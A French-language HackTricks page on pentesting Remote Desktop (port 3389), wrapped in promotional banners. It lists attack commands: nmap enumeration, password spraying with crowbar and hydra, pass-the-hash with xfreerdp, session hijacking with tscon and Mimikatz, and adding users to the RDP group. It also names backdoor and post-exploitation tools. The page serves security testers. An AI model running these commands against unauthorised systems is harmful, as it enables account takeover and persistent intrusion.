10 KiB
3389 - Pentesting RDP
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez La famille PEASS, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.
Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
Informations de base
Développé par Microsoft, le Remote Desktop Protocol (RDP) est conçu pour permettre une connexion d'interface graphique entre des ordinateurs via un réseau. Pour établir une telle connexion, le logiciel client RDP est utilisé par l'utilisateur, et simultanément, l'ordinateur distant doit fonctionner avec le logiciel serveur RDP. Cette configuration permet le contrôle et l'accès sans faille de l'environnement de bureau d'un ordinateur distant, apportant essentiellement son interface sur l'appareil local de l'utilisateur.
Port par défaut : 3389
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Énumération
Automatique
{% code overflow="wrap" %}
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
{% endcode %}
Il vérifie les cryptages disponibles et les vulnérabilités DoS (sans causer de DoS au service) et obtient des informations sur Windows NTLM (versions).
Brute force
Soyez prudent, vous pourriez verrouiller des comptes
Password Spraying
Soyez prudent, vous pourriez verrouiller des comptes
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
Se connecter avec des identifiants/hachage connus
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
Vérifier les identifiants connus contre les services RDP
rdp_check.py d'Impacket vous permet de vérifier si certains identifiants sont valides pour un service RDP :
rdp_check <domain>/<name>:<password>@<IP>
Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
Attaques
Vol de session
Avec les permissions SYSTEM, vous pouvez accéder à n'importe quelle session RDP ouverte par n'importe quel utilisateur sans avoir besoin de connaître le mot de passe du propriétaire.
Obtenir les sessions ouvertes:
query user
Accès à la session sélectionnée
tscon <ID> /dest:<SESSIONNAME>
Maintenant, vous serez à l'intérieur de la session RDP sélectionnée et vous devrez vous faire passer pour un utilisateur en utilisant uniquement les outils et fonctionnalités Windows.
Important : Lorsque vous accédez à des sessions RDP actives, vous déconnecterez l'utilisateur qui l'utilisait.
Vous pourriez obtenir des mots de passe en les extrayant du processus, mais cette méthode est beaucoup plus rapide et vous permet d'interagir avec les bureaux virtuels de l'utilisateur (mots de passe dans le bloc-notes sans être enregistrés sur le disque, autres sessions RDP ouvertes sur d'autres machines...)
Mimikatz
Vous pourriez également utiliser Mimikatz pour faire cela :
ts::sessions #Get sessions
ts::remote /id:2 #Connect to the session
Sticky-keys & Utilman
En combinant cette technique avec stickykeys ou utilman, vous pourrez accéder à une CMD administrative et à n'importe quelle session RDP à tout moment
Vous pouvez rechercher des RDP qui ont déjà été compromis avec l'une de ces techniques en utilisant : https://github.com/linuz/Sticky-Keys-Slayer
Injection de processus RDP
Si quelqu'un d'un domaine différent ou avec des privilèges plus élevés se connecte via RDP sur le PC où vous êtes administrateur, vous pouvez injecter votre balise dans son processus de session RDP et agir en tant que lui :
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %} rdp-sessions-abuse.md {% endcontent-ref %}
Ajout d'utilisateur au groupe RDP
net localgroup "Remote Desktop Users" UserLoginName /add
Outils Automatiques
AutoRDPwn est un framework de post-exploitation créé en Powershell, conçu principalement pour automatiser l'attaque Shadow sur les ordinateurs Microsoft Windows. Cette vulnérabilité (listée comme une fonctionnalité par Microsoft) permet à un attaquant distant de voir le bureau de sa victime sans son consentement, et même de le contrôler à la demande, en utilisant des outils natifs du système d'exploitation lui-même.
- EvilRDP
- Contrôler la souris et le clavier de manière automatisée en ligne de commande
- Contrôler le presse-papiers de manière automatisée en ligne de commande
- Créer un proxy SOCKS depuis le client qui canalise la communication réseau vers la cible via RDP
- Exécuter des commandes SHELL et PowerShell arbitraires sur la cible sans télécharger de fichiers
- Télécharger et téléverser des fichiers vers/depuis la cible même lorsque les transferts de fichiers sont désactivés sur la cible
Protocol_Name: RDP #Protocol Abbreviation if there is one.
Port_Number: 3389 #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
Entry_2:
Name: Nmap
Description: Nmap with RDP Scripts
Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
Configuration instantanée disponible pour l'évaluation des vulnérabilités et les tests de pénétration. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!
Autres façons de soutenir HackTricks:
- Si vous souhaitez voir votre entreprise annoncée dans HackTricks ou télécharger HackTricks en PDF, consultez les PLANS D'ABONNEMENT!
- Obtenez le swag officiel PEASS & HackTricks
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-nous sur Twitter 🐦 @carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR aux HackTricks et HackTricks Cloud github repos.